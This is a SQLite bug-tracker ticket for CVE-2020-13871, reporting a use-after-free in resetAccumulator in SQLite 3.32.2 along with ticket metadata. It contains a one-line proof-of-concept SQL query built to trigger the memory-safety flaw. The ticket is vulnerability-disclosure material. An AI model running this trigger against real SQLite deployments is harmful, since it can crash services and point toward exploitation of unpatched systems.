Headline
CVE-2020-13871: SQLite: Ticket Change Details
SQLite 3.32.2 has a use-after-free in resetAccumulator in select.c because the parse tree rewrite for window functions is too late.
Overview
Artifact ID:
cd708fa84d2aaaeacf8fdbef6d594742d061bedc0a2553e4930849abb4adf692
Ticket:
c8d3b9f0a750a529ec2f991aa9c8f0d68699f263
Use after free in resetAccumulator.
User & Date:
yongheng on 2020-06-05 01:52:37
Changes
icomment:
Release version is affected.
POC:
CREATE TABLE a(b); SELECT(SELECT b FROM a GROUP BY b HAVING(NULL AND b IN((SELECT COUNT() OVER(ORDER BY b) = lead(b) OVER(ORDER BY 3.100000 * SUM(DISTINCT CASE WHEN b LIKE ‘SM PACK’ THEN b * b ELSE 0 END) / b))))) FROM a EXCEPT SELECT b FROM a ORDER BY b, b, b;
login: “yongheng”
mimetype: “text/plain”
severity changed to: “Important”
status changed to: “Open”
title changed to: “Use after free in resetAccumulator.”
type changed to: “Code_Defect”
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